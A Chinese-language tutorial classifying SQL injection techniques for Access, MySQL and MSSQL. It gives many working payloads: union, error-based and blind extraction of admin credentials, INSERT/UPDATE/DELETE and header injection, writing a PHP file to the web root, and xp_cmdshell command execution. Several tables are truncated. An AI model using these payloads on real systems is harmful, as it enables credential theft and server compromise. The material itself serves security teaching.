SQL注入分類與詳解
對SQL注入的大概分類總結,和一些基礎的利用方法。
SQL注入是一種通過操縱輸入來修改后台SQL語句以達到利用代碼進行攻擊的技術。
SQL注入產生的危害很多,比如后台用戶及密碼泄露、會員用戶信息泄露、讀寫文件,甚至可以獲得服務器權限。因此,SQL注入也是OWSP TOP 10的常客。
SQL注入產生原理
攻擊者能夠控制發送給SQL查詢的輸入,並且開發者沒有對這些輸入進行安全檢查和過濾直接組合到SQL語句,那么組合后的惡意語句就會被帶入數據庫執行。
SQL注入分類
SQL注入的分類很多,不同的人也會將注入分成不同的種類,下面筆者將介紹一下常見的分類。
注意:此文章中標點符號在頁面中顯示可能會轉成中文的,自己測試時候語句中的標點一律使用英文輸入法狀態下的。
根據數據庫類型分類
每一種數據庫都有一種注入命名方式,以下是比較常見的數據庫注入方式
ACCESS注入
- 數據庫結構
- 判斷注入
and 1=1 |
select * from product where id=1406 and 1=1 //真條件頁面正常
select * from product where id=1406 and 1=2 //假條件返回空
or 1=1 |
select * from product where id=1406 or 1=1 //永真條件會返回數據庫中全部結果
select * from product where id=1406 or 1=2 //1406 or 1=2 返回id等與1406的結果
具體頁面怎么顯示還要看代碼怎么寫的,實戰中可能會有所不同。
xor 1=1 |
select * from product where id=1406 xor 1=1
a AND (NOT b) 返回空結果
(NOT a) AND b 返回id不等於1406的所有結果
select * from product where id=1406 xor 1=2
a AND (NOT b) 返回id等於1406的結果
(NOT a) AND b 返回空結果
如果過濾了=號換成“>”或“<”一個道理。
還有簡單的方法就是在id參數后加特殊符號,如’ “ \ % *等一切可能使SQL語句報錯的字符。
聯合查詢法
猜字段個數
order by 22 # 回顯正確 |
order by 23 # 回顯錯誤 |
因此存在22個字段。
說明:這里判斷出來的字段是當前頁面所連接的表的字段個數而非管理員表字段個數;准確的說是當前頁面SQL語句查詢的字段個數,例如select * from news猜出的字段數就是news表中所有字段個數,如果select id,title from news猜解出的就只有兩個字段;
order by 是按照字段數據進行排序,用法為:order by 字段名,之所以能用來判斷字段個數是因為,order by 1 <==> 按第一個字段排序,如果查詢結果中一共22個字段order by 23就會出錯。
猜表名
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin |
UNION是聯合查詢,將前后兩條查詢語句的結果組和到一起返回。SELECT后面的數字只是為了占位置,因為兩條查詢結果字段數不同的話會出錯不會正常返回。
可以看到3和15兩個字段的內容被輸出到頁面中,我們可以通過這兩個位置繼續查詢我們想要的數據並顯示。
猜列名並爆數據
UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin |
admin和password是admin表中的字段名,ACCESS數據庫只能靠暴力猜解。
爆出所有用戶
UNION SELECT top 1 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin where not id=1 |
逐字猜解法(盲注)
注入檢測
同上面的方法一樣
猜表名
and exists (select * from 表名) |
猜列名
and exists (select 列名 from 表名) |
獲取數據長度
and (select top 1 len(列名) from 表名)>5 |
and (select top 1 len(password) from admin)>16//錯誤
and (select top 1 len(password) from admin)>15//正常
說明password字段內容的長度是16
獲取指定位數的數據
and (select top 1 asc(mid(列名,位置,1)) from 表名)>=97 |
mid(字符串,截取的位置,截取字符數)
asc() //將字符轉換成ascii碼 方便進行比較
and (select top 1 asc(mid(admin,1,1)) from admin)>96//判斷admin字段的內容第一位的ascii碼值大於96 正常
and (select top 1 asc(mid(admin,1,1)) from admin)>97//判斷admin字段的內容第一位的ascii碼值大於97 錯誤 說明就是97
依次猜解其他位數
盲注的核心
盲注的核心其實是用字符串截取函數一位一位的截取數據,之后把截取到的數據用字符轉ascii函數轉換成ascii碼和數字進行對比,之后將ascii碼還原成字符。
MySQL注入
MySQL數據庫結構
MySQL |
判斷注入
and 1=1 (and 1) |
猜字段個數
order by n |
查信息
爆顯位不同於ACCESS,MySQL爆顯位不需要接from子句,但ACCESS要接from子句才可以。
可查的信息有:
system_user() 系統用戶名 |
查所有數據庫名
union select group_concat(schema_name),2,3 from information_schema.schemata |
查表名
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() |
這里的table_schema的值是要查詢數據庫名,可以用:
雙引號(單引號)引住明文 |
查列名
union select group_concat(column_name),2,3 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110) //table_name代表要查詢的表名 |
查數據
union select username,password,3 from admin |
常見問題:
1.無法爆出顯位,在id前面加上"-"使其報錯 |
小技巧:NULL填充判斷列數
有時候order by 無法使用的時候,可以使用NULL填充法判斷列數,攻擊者可以構造payload:
UNION SELECT NULL,NULL,...,NULL |
直到頁面回顯正確,頁面回顯正確的時候的NULL的個數即是列的數量,確定列的數量以后的注入方法和上面介紹的確定列數量以后的注入方法一致。
MSSQL注入
MSSQL數據庫結構
MSSQL |
判斷注入方法同上
猜解字段數
order by n //原理同上面一樣 |
不能使用order by的時候使用:
union all select null,null,null....... |
匹配數據類型
我們想要獲取信息,至少需要一個數據類型為字符串的列以便通過它來存儲並返回我們想要的數據。
union all select 'test',null,null |
只需一次一列的使用示例字符串替換null即可,頁面返回正常則當前列名支持字符串。
我表中第一列是int類型所以報錯了,因為我開啟了詳細錯誤方便調試,所以直接把錯誤信息顯示了出來,實戰中返回的信息可能各不相同。關於報錯注入在后面其他類型的注入中會講到。
查詢版本,當前數據庫,用戶等信息
版本:@@version |
爆所有數據庫
union all select null,name,null from master.dbo.sysdatabases |
利用SQL的FOR XML PATH 參數來進行字符串拼接,可以將結果拼接成一條顯示,因為實戰中的頁面代碼可能只允許顯示一條並不是循環顯示。
查詢當前數據庫所有表名
union all select null,(select top 1 name from sysobjects where xtype='U'),null |
union all select null,(select top 1 name from sysobjects where xtype=’U’),null
爆出表名news,在后面加條件and name!=’news’就可以爆出不包含news的下一個表
union all select null,(select top 1 name from sysobjects where xtype=’U’ and name!=’news’),null
然后繼續在后面加條件and name!=’admin’
以此類推可以列舉出所有的表 |
同樣也可以利用FOR XML PATH
union all select null,(select '|'%2bname%2b'|' from sysobjects where xtype='U' FOR XML PATH('')),null |
查詢字段名
union all select null,(select id from sysobjects where xtype='U' and name='admin' FOR XML PATH('')),null //先查詢表名admin的ID |
查詢數據
union all select null,(select '|'%2busername%2b'|'%2bpassword%2b'|' from admin FOR XML PATH('')),null |
Oracle注入
不熟悉,先挖個坑。。。
根據注入點權限划分
普通權限注入
普通權限注入是指所有使用低權限用戶連接數據庫的注入點,普通權限注入分為兩類:
1.非root(sa、dba)用戶 |
普通權限的注入點利用方法很有限,只能對數據庫進行增刪改查,而不具有跨庫查詢、文件操作等權限。
高權限注入
高權限注入是指所有使用高權限用戶(root、sa、dba)連接數據庫的注入點。高權限的注入點利用方式很多,不僅限於增刪改查,一般還具有讀寫文件的權限(特殊情況后面介紹)和存儲擴展的調用權限。
高權限的注入點產生的危害,包括但不僅限於:
1.獲取數據庫中的數據 |
影響讀寫文件的因素:
1.是否擁有file權限 |
secure_file_priv選項請參考:MYSQL新特性限制文件寫入及替代方法
MySQL讀文件
關於獲取絕對路徑的方法有機會在其他文章講解。
union select 1,load_file('D:\\phpStudy\\WWW\\sqlin\\sqltest.php'),3 |
路徑注意點:
1.路徑使用\\ ,否則會被當作轉義符號 |
MySQL寫文件
union select 1,'<?php phpinfo();?>',3 into outfile 'D:\\phpStudy\\WWW\\sqlin\\qqq.php' |
SQLMAP的os-shell 與 sql-shell
–sql-shell獲取一個sqlShell用於執行SQL命令。
-–os-shell獲取一個cmdShell,用於執行cmd命令,對於MSSQL該選項是調用xp..cmdshell存儲擴展進行執行命令的;對於MySQL該選項是通過into outfile寫入shell,然后再執行命令的,因此對於MySQL需要絕對路徑
對於MySQL os-shell寫入的兩個馬兒說明:第一個是一個小馬(上傳文件用);第二個是一個一句話,密碼為cmd
MSSQL調用xp..cmdshell執行命令
;exec master..xp_cmdshell 'whoami';-- |
可以使用如下命令來啟用xp_cmdshell
;EXEC sp_configure 'show advanced options',1; //允許修改高級參數 |
也可以直接導出一句話木馬,需要獲取絕對路徑。
system權限,這個權限是根據啟動MSSQL服務的賬戶權限而定的。
這種直接在注入點后以;號分割多條SQL語句執行叫做 堆疊查詢,這種方式為攻擊者提供了更多自由和可能。
遺憾的是,並非所有數據庫服務器平台都支持堆疊查詢。例如,使用ASP.NET和PHP訪問Microsoft SQL Server時允許堆疊查詢,但如果使用Java來訪問,就不允許。使用PHP訪問PostgreSQL時,PHP允許堆疊查詢;但如果訪問MySQL,PHP不允許堆疊查詢。
根據頁面回顯不同分類
普通注入
前面介紹到的那些有回顯的注入,就是這里所說的普通注入,因為它們無論是以什么提交方式進行注入的,無論是什么數據庫,無論執行的SQL語句是什么,它們都有一個共同的特點,那就是有正常回顯。
報錯注入
報錯注入是利用數據庫的一些函數和特性,利用報錯將想要的信息或數據夾在報錯信息中顯示出來。
MySQL報錯注入
Mysql報錯注入有一個限制條件:
echo "<br>".mysql_error(); |
只有將SQL語句執行的錯誤信息打印出來才可以看到報錯,所以報錯注入需要程序能夠打印SQL語句執行錯誤信息。
MySQL中能夠用在報錯注入的函數有:
count()、rand()、group by |
這里我只講前三種,其他函數的具體用法自行百度或者查詢MySQL手冊。
利用count()、rand()、group by報錯注入
關於這三個組合就能報錯的原理請看:Mysql報錯注入原理分析(count()、rand()、group by)
payload:
and (select 1 from((select count(*),(concat(user(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x))a) //查詢當前數據庫用戶 |
下面我們來拆分解讀一下這個語句。
核心:
select count(*),(concat(user(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x |
concat()是連接字符串的,將參數連接到一起
這條語句直接復制到數據庫里執行就可以爆出用戶名,具體原理看上面的文章。
因為and后面不能直接跟select語句,所以只能包在()中作為子查詢;又因為and后面操作數的結果只能包含一列,所以將報錯語句包含在and (select 1 from ()a)的()中作為這條語句的子查詢才能夠正常報錯返回結果。
查詢數據庫名
and (select 1 from(select count(*),(concat(database(),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a) |
查詢表名
and (select 1 from(select count(*),(concat((select table_name from information_schema.tables where table_schema=0x73716C696E limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a) //查詢第一條表名 |
其實就是把查詢庫名的database()的地方換成又一條子查詢語句來查詢表名,由於concat的參數一次只接收一個結果,所以利用limit子句控制只顯示一條。只需要更改 limit 1,1 便可顯示下一條,以此類推可以遍歷出所有表名。
查詢字段名
and (select 1 from(select count(*),(concat((select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a) |
想遍歷所有字段名方法同上,只需更改limit子句的值。
查詢數據
and (select 1 from(select count(*),(concat((select username from admin limit 0,1),0x7e,floor(rand(0)*2)))x from information_schema.tables group by x)a) //查詢數據時是從剛剛查到的表中去查,from后面直接跟表名就行了 |
查詢其他字段的內容只需更改字段名,同樣修改limit子句可遍歷多條。
利用UPDATEXML函數報錯注入:
UPDATEXML (XML_document, XPath_string, new_value); |
查詢信息:
and updatexml(0,concat(0x7c,version()),1) //查詢數據庫版本 |
查詢表名
and updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E)),1) //實戰中要注意括號的嵌套。 |
查詢字段名
and updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E)),1) |
查詢數據
and updatexml(0,concat(0x7c,(select group_concat(username) from admin)),1) //admin是查詢到的表名,username是上面查到的字段名 |
利用EXTRACTVALUE函數報錯注入:
payload:
and EXTRACTVALUE(0,concat(0x7c,version())) //查版本 |
一個問題:
updatexml 和 EXTRACTVALUE函數都只能爆出32位數據,如果要爆出32位以后的數據,需要借助mid函數來進行字符截取從而顯示32位以后的數據。
mid(string,start,[length]) |
and EXTRACTVALUE(0,concat(0x7e,mid(concat(0x7c,(select concat(username,0x7c,password) from admin limit 1,1)),33),0x7e)) |
產生錯誤的語句是concat(0x7c,(select concat(username,0x7c,password) from admin limit 1,1)
用mid()包起來從第33位開始顯示剩余的,測試剩余的字符串有可能不會引起報錯,所以在外面用concat()又包了一層,頭尾拼接了~符號,0x7c是~符號的16進制。
MSSQL報錯注入
MSSQL報錯注入前提條件需要開啟顯示詳細錯誤:web.config文件設置
<configuration> |
原理是利用MSSQL數據庫的類型轉換,將一些內容轉換為數字時引發錯誤並將這些內容顯示出來。
查信息:
and 1=(select @@VERSION) //MSSQL版本 |
也可以用1/@@VERSION,因為/是做除法運算,所以會將后面的數據嘗試轉換為int類型,同樣也會產生錯誤。
查詢表名:
and 1=(select '|'%2bname%2b'|' from sqlin..sysobjects where xtype='U' FOR XML PATH(''))-- //sqlin是查詢的數據庫 |
查詢字段名:
and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))-- |
因為查詢字段名要根據所屬表名的id來查,所以用了一個子查詢查出表名的id。
查詢內容:
逐條爆指定表的所有字段的數據(只限於mssql2005及以上版本): |
盲注-基於布爾的盲注
在一些站點隱藏了錯誤信息的情況下,聯合查詢以及報錯注入的方法均無法注入出數據的時候,需要用到盲注的方法來進行注入。
基於布爾的盲注是根據頁面差來進行判斷注入和數據注入的。在存在注入的頁面輸入and (true)則返回頁面1;輸入and (false)則返回頁面2,而頁面1和頁面2有差別,常見的情況頁面1是正常頁面,頁面2是錯誤頁面
基於布爾盲注的過程:
判斷盲注
and 1=1 |
返回頁面不相同。
猜解當前數據庫用戶名
第一步:判斷當前數據庫用戶名的長度(以便逐位猜解用戶名)
and (select length(user()))=長度 //也可以使用大於號>、小於號< 更快的判斷 |
第二步:逐位猜解當前數據庫用戶名
and (select ascii(substr(user(),位數,1)))=ascii碼 //substr()是字符串截取函數 substr('abc',2,1)的結果是'b' ascii()返回字符的ascii碼值 |
判斷用戶名的第一位ascii碼為114,而114代表的就是小寫字母r。
依次猜解其他位數字符的ascii碼,最后對照表還原成字符。
猜解當前數據庫名
第一步:判斷當前數據庫的長度(以便逐位猜解數據庫名)
and (select length(database()))=長度 |
第二步:逐位猜解數據庫名
and (select ascii(substr(database(),位數,1)))=ascii碼 |
猜解表名
第一步:判斷表名的數量(以便逐個判斷表名長度)
and (select count(table_name) from information_schema.tables where table_schema=database())=數量 |
第二步:判斷某個表的長度(以便逐位猜解表名)
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度 //通過limit控制判斷的是第幾個表 |
第三步:逐位猜解表名
and (select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼 |
猜解列名
第一步:判斷列名的數量(以便逐個判斷列名長度)
and (select count(column_name) from information_schema.columns where table_name='表名')=數量 |
第二步:判斷某個列的長度(以便逐位猜解列名)
and (select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=長度 |
第三步:逐位猜解列名
and (select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name='表名' limit n,1)=ascii碼 |
猜數據
第一步:判斷數據的數量(以便逐個判斷數據長度)
and (select count(username) from admin)=數量 //admin是查到的表名,username是admin表中的字段名 |
第二步:判斷某條數據的長度(以便逐位猜解數據)
and (select length(username) from admin limit n,1)=長度 |
第三步:逐位猜解數據
and (select ascii(substr(username,位數,1)) from admin limit n,1)=ascii碼 |
基於布爾盲注的實質:
and (SQL語句)=數字 ,頁面正確則結果為該數字,否則不是 |
盲注-基於時間的盲注
基於布爾的盲注和基於時間的盲注不同,前者是通過頁面差來判斷是否存在注入以及數據注入的;后者無法得到頁面差(比如:無論輸入什么都得到同一個頁面),而它只能通過SQL語句執行的時間來判斷注入以及數據注入.
常見無界面差的情況:
- 無論輸入什么都只顯示無信息頁面,例如登陸頁面。這種情況下可能只有登錄失敗頁面,錯誤頁面被屏蔽了,並且在沒有密碼的情況下,登錄成功的頁面一般情況下也不知道。在這種情況下,有可能基於時間的SQL注入會有效。
- 無論輸入什么都只顯示正常信息頁面。例如,采集登錄用戶信息的模塊頁面。采集用戶的 IP、瀏覽器類型、refer字段、session字段,無論用戶輸入什么,都顯示正常頁面。
注入過程:
判斷基於時間的盲注
and if(1=1,sleep(5),1) |
如上圖所示,當if判斷為真時,則會延時5s(如果文件中通過localhost連接數據庫會延時5+1=6秒);而if判斷為假時,則不延時。
猜解當前數據庫用戶名
第一步:猜解用戶名的長度。(猜解到的用戶名長度用於下面的逐位猜解用戶名)
and if((select length(user()))=長度,sleep(5),0) |
第二步:逐位猜解用戶名。
and if((select ascii(substr(user(),位數,1))=ascii碼),sleep(5),0) |
猜解當前數據庫名
第一步:猜解數據庫名的長度。
and if((select length(database()))=長度,sleep(5),0) |
第二步:猜解數據庫名。
and if((select ascii(substr(database(),位數,1))=ascii碼),sleep(5),0) |
猜表名
第一步:判斷表名的數量(以便逐個猜表名)
and if((select count(table_name) from information_schema.tables where table_schema=database())=個數,sleep(5),0) |
第二步:判斷某個表名的長度(以便逐位猜表名的數據)
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度,sleep(5),0) |
第三步:逐位猜表名
and if((select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼,sleep(5),0) |
猜列名
第一步:判斷列名的數量(以便逐個猜列名)
and if((select count(column_name) from information_schema.columns where table_name='表名')=個數,sleep(5),0) |
第二步:判斷某個列名的長度(以便逐位猜列名的數據)
and if((select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=長度,sleep(5),0) |
第三步:逐位猜列名
and if((select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name='表名' limit n,1)=ascii碼,sleep(5),0) |
猜數據
第一步:判斷數據的數量(以便逐個猜數據)
and if((select count(列名) from 表名)=個數,sleep(5),0) |
第二步:判斷某個數據的長度(以便逐位猜數據)
and if((select length(username) from admin limit 0,1)=5,sleep(5),0) |
第三步:逐位猜數據
and if((select ascii(substr(username,1,1)) from admin limit 0,1)=97,sleep(5),0) |
基於時間的盲注實質:
if(布爾盲注語句,sleep(5),1) |
根據程序SQL語句分類
后台執行的SQL語句,不僅有select一種,還有INSERT、UPDATE、DELETE等。語句不同,注入的方法也就不一樣了,下面我們就來介紹一下其他語句的注入方法。
INSERT注入
檢測方法
方法1:
第一步:在數據提交點,插入英文輸入法狀態下的單引號,如果數據插入失敗,那么80%是注入,20%是攔截。
原因:
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c'); //實戰中我們並不知道代碼中的SQL是怎么寫的,只能靠經驗推測盡量還原出原始語句,所以這種注入一般白盒測試挖到比較多。 |
一般程序中的INSERT語句之中VALUES的值都是用單引號來包裹的,int數值型的不需要。所以插入單引號的時候就會影響語句閉合,因此插入失敗。
第二步:在數據提交點,插入雙引號,數據正常插入,這時候90%確定是注入點了。
原因:雙引號不影響語句的閉合,因此插入成功。
第三步:在數據提交點,插入\',數據正常插入,這時候100%確認是注入點了。
原因:\'是對單引號進行轉義,轉義后的單引號不會影響語句的閉合,因此插入成功。
方法2:
方法1比較繁瑣,而且對於int型的數據插入點測試可能會失效,int型數據不需要單引號來包裹。
方法2測試語句:
sleep(5) |
在int型數據插入點,由於沒有單引號包裹,所以可以直接用sleep(5)來判斷,如果延時5秒則存在注入;而string型的數據插入點,有單引號包裹,所以我們要先閉合單引號。
報錯法
報錯法,顧名思義,就是使用報錯注入的方法進行注入的,但是這個方法有個局限性,那就是需要:
echo mysql_error(); //打印語句執行出錯信息 |
我們先看下正常的INSERT語句:
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c'); |
INSERT語句的可控點在於VALUES中的值,這里我們就需要來閉合引號了,否則我們提交的SQL語句會被當作字符串來處理(原封不動的將語句插入數據庫)。
因此,INSERT語句配合報錯注入的語句結構為:
' or updatexml(0,concat(0x7c,注入語句),1) or ' //不懂函數什么意思的看上面MySQL報錯注入 |
接下來看注入的過程:
爆MySQL版本號
' or updatexml(0,concat(0x7c,version()),1) or ' //把or換成and也一樣,只要保證我們要產生錯誤的語句被執行就可以 |
爆數據庫用戶名
' or updatexml(0,concat(0x7c,user()),1) or ' |
爆表名
'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or ' |
爆列名
'or updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')),0) or' |
爆數據
'and updatexml(1,concat(0x7c,(select username from admin limit 0,1)),1) and' |
閉合語句法
閉合語句法不是上面我們說的閉合引號,而是通過閉合的方法將語句補充完整,使語句可以正常執行。這種方法的優點在於:不需要打印mysql執行的錯誤語句;其缺點在於:INSERT語句執行后,插入的信息能回顯到界面中才行。
我們先看下正常的INSERT語句:
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c'); |
可控點是VALUES中的值,這里我們所說的閉合就是將引號和括號都閉合,使其成為完整的SQL語句,然后將程序本身的語句后段注釋掉。
payload:
a',user(),'c');-- ' |
說明:–-后面必須有個空格,否則不會當作注釋符,也可以用#注釋。
把payload帶入語句中形成的最終語句為:
INSERT INTO 表名(col1,col2,col3) VALUES('a',user(),'c');-- '','b','c'); //--后面的都被注釋掉了不會執行,VALUES中值的數量要和表名后面字段的數量相同語句才能正常執行。 |
注入過程:
判斷列數
1',2);-- ' |
說明:最好用數字填充values的值,因為數字可以插入字符型的列,而字符串無法插入數字型的列.
當輸入的值的個數和列的個數不匹配的時候,則會插入失敗:
當輸入的值的個數和列的個數匹配的時候,則會插入成功。
從而來判斷插入列的個數。
注入數據庫用戶
a',user(),3,4);-- //因為第一列插入的是姓名,字符串類型的,所以需要閉合引號,不然我們的語句都被當做字符串了,閉合后把數據插入到其他列就可以了 |
插入成功,然后我們看看插入的數據。
因為我插入到了性別的列中,而我數據庫建表時設置的這一列長度為5,所以只顯示出5個字符,實戰中盡可能選擇數據長度比較長的。
注入表名
1',2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database()));-- |
然后查看數據:
注入列
1',2,3,(select group_concat(column_name) from information_schema.columns where table_name='admin'));-- |
然后查看數據:
注入數據:
1',2,3,(select username from admin limit 0,1));-- |
然后查看數據:
常見問題:
第一個:注入數據只能在string型的列位置,因為int型的列無法存放字符串。
第二個:列有長度限制,如果注入出的數據過長,則會顯示不全,可以逐段注入數據(limit 0,1 或者 mid(password,1,n))。
還有一種更加復雜的情況:
INSERT INTO 表名(col1,col2,col3) VALUES('no','no','ok'); //我們能控制的參數是語句的最后一列。 |
這樣我們無法像前面的例子那樣,先閉合一個參數並重新構造后面的參數。我們只能想辦法將數據插入到這一列當中,還得保證語句正常執行。
MySQL中不能使用加號做字符串拼接,因為在單引號后面也無法使用concat函數拼接。
這里需要利用MySQL的一個特性:
當把一個整數與一個字符值相加時,整數具有操作符優先級並“獲勝”,比如下面的例子。
可以利用這一技巧來提取任意數據,只須將數據轉換為整數(除非該數據已經是整數),然后將它“加”到由你控制的字符串的詞首部分,
a'+ascii(substr((select user()),1,1))+' |
我們假設只能控制最后一列,拼接后的語句為:
INSERT INTO student(name,sex,age,class) VALUES('no','no','no','a'+ascii(substr((select user()),1,1))+'') //a與我們的user()數據庫用戶名的第一位的ascii碼值相加,最后只會留下ascii碼值插入到了數據庫中 |
然后查看數據
只能一位一位插入,最后還原成字符。
UPDATE注入
檢測方法
和INSERT注入檢測方法相同,請參考上面的檢測方法。
報錯法
正常SQL語句:
UPDATE student SET name='name',sex='sex',age='age',class='class' WHERE id=1 |
UPDATE配合報錯注入的語句結構:
'or updatexml(1,concat(0x7c,注入語句),2) or' |
爆數據庫用戶名
'or updatexml(1,concat(0x7c,user()),2) or' |
爆表名
'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or ' |
爆列名
'or updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name = 'admin')),1) or ' |
爆數據
'or updatexml(0,concat(0x7c,(select concat(username,0x7c,password) from admin limit 0,1)),1) or ' |
閉合語句法
UPDATE語句閉合難度要比INSERT語句難一點,下面我們先看下UPDATE語句:
UPDATE table_name SET name='name',sex='sex',age='age',class='class' WHERE id=1 |
這里我們要用到它的特性構造:
-- 方法1: |
一般白盒測試的時候遇到幾率多,因為我們需要知道它的列名。
這里側重介紹一下第二種方法:
查數據庫用戶名
a',class=user() where id=1-- |
查看信息
查表名
a',class=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1-- |
查看信息
查列名
a',class=(select group_concat(column_name) from information_schema.columns where table_name='admin') where id=1-- |
查看信息
查數據
a',class=(select password from admin) where id=1-- |
查看信息
DELETE注入
DELETE語句:
DELETE FROM table_name where id=1 |
DELETE語句給用戶控制的點只有id=1這里了,所以注入方法比較簡單,只能使用基於時間的盲注或者報錯注入來進行了。
判斷注入
and if(1=1,sleep(5),0) |
注入過程
注入過程只能采用報錯注入或者基於時間的盲注,因為當where條件控制語句的集合為空的時候,也顯示刪除成功(語句執行成功了的)。
配合基於時間的盲注:
and if(盲注語句,sleep(5),0) |
結合上面的時間盲注一位一位猜ascii碼,最后還原成字符。
配合報錯注入:
and updatexml(0,concat(0x7c,注入語句),1) |
根據提交方式分類
根據數據的提交方式進行分類,數據的提交方式包括GET、POST、COOKIE、HTTP頭,所以此分類就有4類,GET注入、POST注入、COOKIE注入、HTTP注入。
其中,除GET注入以外,其他三種注入方法常常和盲注、報錯注入配合使用。在本章節我們不會詳細介紹盲注和報錯注入的使用方法和選擇方法,案例中我們也只提供一個Payload的框架,具體使用方法請到前面的相關章節學習。
GET注入
使用GET型提交方法提交數據的注入點也被稱為GET型注入。我們之前提到的SQL注入大多都是GET型注入,它的特點就是將注入語句放入URL中進行注入的。
POST注入
顧名思義,使用POST型提交方法提交數據的注入點也被稱為POST型注入,常見的POST型注入產生的地方有:登陸、注冊等等。之前我們提到的INSERT注入就是以POST的提交方式提交數據的,因此它也屬於一個POST型注入。
POST型注入方法和GET型類似,如果有回顯的話可以用聯合查詢法;如果無回顯的話可以用盲注和報錯注入;如果后台執行的SQL語句不是select,則按照對應的SQL語句注入方法進行注入即可。
第一步:抓取登陸包
第二步:將注入payload放入用戶名參數中(不放入密碼參數是因為密碼參數在帶入數據庫查詢之前一般都會做一個md5加密)
admin' and if(1=1,sleep(5),0) and 'a'='a |
可以看到if判斷條件成立的話則延時5秒返回結果,否則直接返回。
說明:
1.后面的注入可以參考基於時間的盲注進行下一步的注入
2.這里我們只列舉了這一種情況,當然有些情況下報錯注入也是可以用的,只不過需要打印mysql_error()
3.除了用Burpsuite抓包測試之外,還可以用hackbar的POST提交方法進行測試
4.萬能密碼:使語句稱為永真式即可(e.g. admin' # , admin' or '1'='1)
COOKIE注入
COOKIE注入介紹
COOKIE型注入是通過COOKIE進行數據提交的,其常見的情況有驗證登陸、$_REQUEST獲取參數。
$_REQUEST是一種獲取數據的方法,它包含了GET、POST、COOKIE三種提交方式。如下代碼:
<?php |
對於這段代碼,我們使用GET、POST、COOKIE三種提交方式進行數據提交均可。
COOKIE注入過程
判斷注入
注入過程和其他注入方式相同,只是提交語句的位置放在了cookie,根據實際情況選用聯合查詢、盲注、報錯注入還是其他方式靈活運用。
HTTP頭注入
HTTP頭注入是指從HTTP頭中獲取數據,而未對獲取到的數據進行過濾,從而產生的注入。
HTTP頭注入常發生在程序采集用戶信息的模塊中,比如獲取用戶的IP:X-Forwarded-For;再比如獲取用戶的瀏覽器類型:User-Agent 等等…
從HTTP頭中的獲取的數據一般不會改變頁面的回顯,因此,基於時間的盲注常和HTTP頭注入配合使用。
原理和其他提交方式一樣,從哪里接收數據,就把注入語句寫在哪里。
比如獲取用戶的IP:X-Forwarded-For 進行一些查詢,抓包,然后在數據包中加上
X-Forwarded-For: 123.123.123.123' and if(1=1,sleep(5),0) and '1'='1 |
配合盲注使用,盲注方法請參看盲注章節。
根據閉合方式分類
不同數據類型的數據在SQL語句拼接的時候也會有所不同,比如數字型的不需要單引號包裹,但是字符型的就需要單引號包裹,而搜索型的則是在用戶提交的數據前后加上通配符%,因此由此分類,其實是按照閉合方式來進行的分類。
在本章節介紹的注入方式常常和聯合查詢、報錯注入、盲注等配合使用,但我們不會詳細介紹這些注入的具體使用方法和選擇方法,案例中我們也只提供一個Payload的框架,具體使用方法請到前面的相關章節學習。
數字型注入
由於SQL語句中數字類型的值不需要單引號包裹,所以可以直接在后面添加SQL語句來進行注入,不必考慮單引號情況。
程序中的SQL語句結構:
select * from pro where id=$id; // $id用戶可控 |
在MySQL中,數字類型也可以用單引號包裹,並且很多程序員在程序中拼接SQL語句的時候也喜歡用單引號包裹住所有值,所以有時候數字型注入也需要閉合單引號,閉合方法請看繼續看字符型注入。
字符型注入
由於SQL語句中字符串通常要使用單引號來包裹,所以在注入的時候要閉合單引號,否則注入語句包裹在單引號中會被當作字符串來進行處理。
程序中的SQL語句結構:
select * from admin where username='$user' and password='$pass'; |
閉合方法:
aa' and 注入語句 and 'a'='a |
閉合是為了讓注入語句正常執行,只要閉合正確,注入語句根據具體情況選擇合適的。
搜索型注入
由於搜索型SQL語句通常使用%和'包裹,因此在注入的時候需要閉合%和',否則就會報錯。
搜索型SQL語句結構:
select * from pro where content like '%$keyword%'; |
閉合方法:
aa%' and 注入語句 and '%aa%' ='%aa |
搜索型注入也可以配合聯合查詢法、盲注或者報錯注入來進行。
寬字節注入
在很多時候,注入並不是那么順利的,程序員會使用一些轉義函數等讓我們的語句無法執行。
存在注入的代碼
<?php |
上面的代碼我們可以閉合前后的單引號進行注入,但如果程序員使用了addslashes,mysql_real_escape_string,mysql_escape_string等這些轉義函數,比如下面的代碼:
<?php |
像上面的代碼我們進行注入會是這樣的情況,如圖:
可以看到我們輸入的單引號都被轉義成了\',這樣單引號就辦法發揮它的作用,我們的注入語句也無法正常執行。
轉義函數影響的字符包括: |
